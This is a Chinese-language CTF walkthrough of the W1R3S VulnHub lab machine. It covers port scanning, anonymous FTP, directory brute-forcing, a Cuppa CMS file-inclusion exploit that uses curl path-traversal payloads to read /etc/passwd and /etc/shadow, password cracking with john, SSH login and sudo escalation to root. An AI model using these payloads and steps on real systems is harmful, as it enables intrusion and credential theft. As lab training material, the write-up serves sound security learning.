目录
W1R3S涉及知识点
- 端口信息收集工具的使用
- 目录爆破工具工具的使用
- CMS识别以及漏洞利用
- FTP服务利用
- ssh服务利用
- sudo简单提权
靶场下载以及环境配置
靶场下载地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
下载靶场文件,使用vmware打开后缀名为vmx的文件即可,启动后如下图所示:
下载下来默认网络适配器是桥接模式(目标机的IP与我Windows本机在一个网段),我将其改为NAT模式(目标机机IP与我虚拟机在一个网段)
渗透过程
信息收集阶段
1、扫描存活主机
首先确认我们需要攻击的主机IP,使用nmap命令如下:
nmap -sn 192.168.240.0/24 //该命令为nmap发现存活主机的命令,我的NAT网段为192.168.240.0/24
可以看到扫描结果中显示,有五台存活主机,得知目标IP位192.168.240.129,并且系统为vmware
2、端口扫描
接下来针对目标IP的端口开放情况进行扫描,使用nmap,命令如下:
nmap -min--rate 10000 -p 0-65535 192.168.240.129 //设置最少线程为10000对目标主机的所有端口进行扫描
扫描结果显示,目标主机开放了三个端口,分别是21 ftp服务端口,22 ssh服务端口,80 http服务端口,3306 mysql服务端口,再进一步进行详细扫描,使用nmap,命令如下:
nmap -sV -sT -O -p21,22,80,3306 192.168.240.129
//-sV:对服务的版本信息进行识别,
//-sT:使用TCP连接进行扫描
//-O:对目标主机系统进行扫描
扫描结果显示详细的开放端口版本信息,该信息可以作为后续攻击点进行攻击。使用namp对目标主机进行简单的漏扫,命令如下:
nmap --min-rate 10000 --script=vuln -p21,22,80,3389 192.168.240.129
// --script=vuln指定运行的漏洞扫描脚本,对目标主机进行简单的漏洞扫描
扫描结果显示80端口存在DOS攻击,并且通过目录爆破,爆破结果显示80端口存在wordpress页面,后续进行更加详细的目录爆破加以利用。
经过端口详细信息收集,我们可以列出可能存在利用点的端口以及服务:
- 21 :FTP服务
- 22 :SSH服务
- 80 :目录爆破
- 80 :存在DOS攻击(没什么利用价值)
接下来逐个进行攻击
服务渗透
1、FTP
首先尝试使用anonymous用户匿名登录FTP服务器
ftp 192.168.240.129
输入anonymous回车登录
成功登录,并发现三个目录:content、docs、new-employees,执行以下代码对目录文件进行下载。
binary
//执行该命令,设置传输方式为二进制传输方式,防止存在二进制文件下载下来产生乱码
cd content
mget *.txt
//批量下载txt文件
cd ../docs/
mget *.txt
//批量下载txt文件
cd ../new-employees
mget *.txt
//批量下载txt文件
下载的所有文件如下:
逐个打开并对内容进行分析。
01.txt:
内容显示这家公司的FTP服务器搭建完成,W1R3S.inc设计一种小众编码,为了防止用户名重复,所以诞生了leetspeak编码,详细信息请查看这个网址:https://en.wikipedia.org/wiki/Leet
综上这件公司的名字为:WIRES
02.txt:
内容为两段不同加密方式的数据,有经验者可以看出上面一段为MD5加密方式,下面一段为Base64编码,也可以使用工具进行识别,我使用hash-identifier工具进行识别。
首先识别第一段:
识别出加密方式为MD5加密,将其在网站https://hashes.com/en/decrypt/hash进行解密。
密文:01ec2d8fc11c493b25029fb1f47f39ce
明文:This is not a password
看起来是一条无关紧要的信息。
接下来解码第二段:
密文:SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
明文:It is easy, but not that easy..
解密结束,无可利用的信息
03.txt:
这是一段ASCII码拼接的图案,可以经常在工具中看到,显示的是公司信息
employee-names.txt:
这段信息中包含不同职位的工作者名字,可以制作字典在登录处进行爆破,先保留数据。
worktodo.txt:
这段是比较有意思的数据,是一段上下倒置的语句,在网站https://www.upsidedowntext.com/进行解密
解密之后的结果如下:
密文:
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
明文:
ı don't thınk thıs ıs the way to root!
we have a ןot of work to do‘ stop pןayıng around˙˙˙˙
看起来也不是可以利用的数据,到此FTP服务利用完毕,总结信息:
- 找到了公司名相关信息
- 找到了公司工作人员名称,可以在登录处加以利用
2、目录爆破
用浏览器访问http://192.168.240.129页面
然后使用目录爆破工具对该url进行爆破,我使用的是dirsearch工具
dirsearch -u http://192.168.240.129 -x 403 //过滤状态码为403的结果
爆破结果如下:
1、http://192.168.240.129/administrator/
a、http://192.168.240.129/administrator/installation/
2、http://192.168.240.129/javascript/
3、http://192.168.240.129/wordpress
web渗透阶段
创建网站
1、http://192.168.240.129/administrator/
目测是网站建设页面被暴露,并且权限都为yes,可以作为攻击点,继续深入
发现数据库搭建页面,填写完数据之后点击next进行搭建
因为创建用户失败,无法创建,应该是权限不够,但是该攻击点还暴露了一个问题,网站标题暴露CMS为Cappa CMS,也可以使用whatweb工具进行识别
识别出CMS是Cuppa CMS
CMS漏洞利用
CMS漏洞利用信息搜索
针对CMS的漏洞进行搜索,搜索顺序为:
- kali工具:searchsploit
- 搜索引擎
- github
- 其他网站
首先我们使用searchsploit工具搜索
searchsploit Cappa CMS
只有一条搜索结果,作为突破口的概率不大,但是还是需要尝试,我们对该漏洞详细信息进行查询
searchsploit Cappa CMS -m 25971.txt
cat 25971.txt
显示,因为在/alerts/alertConfigField.php文件第22行因为include函数的错误使用,导致参数urlConfig使用request请求存在文件包含漏洞
漏洞复现
payload:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
//target为目标url,因为不知道目录名是否被修改,需要多次尝试
有反应,但是可能因为编码问题导致无法正常输出结果,我们可以使用curl工具进行post方式提交数据
curl --data-urlencode "urlConfig=../../../../../../../../../../../../etc/passwd" -X POST http://192.168.240.129/administrator/alerts/alertConfigField.php | html2txt
//使用post请求将需要包含的文件信息经过url编码再进行提交,将返回结果经过html2text提取文本信息进行输出
执行该命令,读取到了/etc/passwd文件数据,我们可以对目标机进行一个信息查询,执行以下命令
1、curl --data-urlencode "urlConfig=../../../../../../../../../../../../etc/group" -X POST http://192.168.240.129/administrator/alerts/alertConfigField.php | html2text
//读取用户组信息
2、curl --data-urlencode "urlConfig=../../../../../../../../../../../../etc/issue" -X POST http://192.168.240.129/administrator/alerts/alertConfigField.php | html2text
//读取操作系统版本
3、curl --data-urlencode "urlConfig=../../../../../../../../../../../../proc/version" -X POST http://192.168.240.129/administrator/alerts/alertConfigField.php | html2text
//读取系统信息
4、curl --data-urlencode "urlConfig=../../../../../../../../../../../../etc/shadow" -X POST http://192.168.240.129/administrator/alerts/alertConfigField.php | html2text
//读取系统用户密码
从以上收集的信息中,可以直接入手的就是收集到的用户密码信息,可以看到有两个应该重视的用户名:www-data、w1r3s其中更应该重视w1r3s用户,因为www-data用户普遍权限较小
john破解密码
我们将收集到的用户信息保存在passwd.txt中,然后使用john工具对其进行破解。
echo "信息" >hash_1.txt
//将信息存储到passwd.txt中
john --format=HMAC-SHA256 hash_1.txt
john --show hash_1.txt
通过上述解密得到两组用户信息:
www-data:www-data
w1r3s:computer
接下来利用得到的w1r3s用户及密码远程登录目标机的ssh服务
SSH连接
ssh w1r3s@192.168.240.129
如图,ssh登录成功,要注意的是输入密码时输入的字符是不可见的,输入完回车即可登录。
目标机信息收集
我们已经通过ssh登录w1r3s用户,接下来可以执行一些命令,进一步收集目标机的信息
uname -a //查看内核/操作系统/cpu信息
hostname //查看计算机名
ifconfig //查看网卡
收集完基础信息之后,我们对当前用户的权限进行查询
sudo -l
//用于查看当前用户在系统中具有哪些权限,可以列出当前用户可以执行的管理员命令
执行结果显示,当前用户拥有所有权限,那我们就可以执行下面这条命令直接切换到管理员账户,拿下权限
sudo su
//切换root用户
如上图所示已经拿下root权限,进入root目录,寻找flag
如上图所示拿下flag!渗透结束
渗透总结
这个靶场难度属于简单难度,并没有绕太多的弯路就拿下了,在利用CMS漏洞后拿下的权限就是最高权限,无需提权,不过也是学习到了很多细节,nmap的扫描方式、john破解密码的细节以及CMS漏洞的检索等等,总的来说收获了不少,继续加油!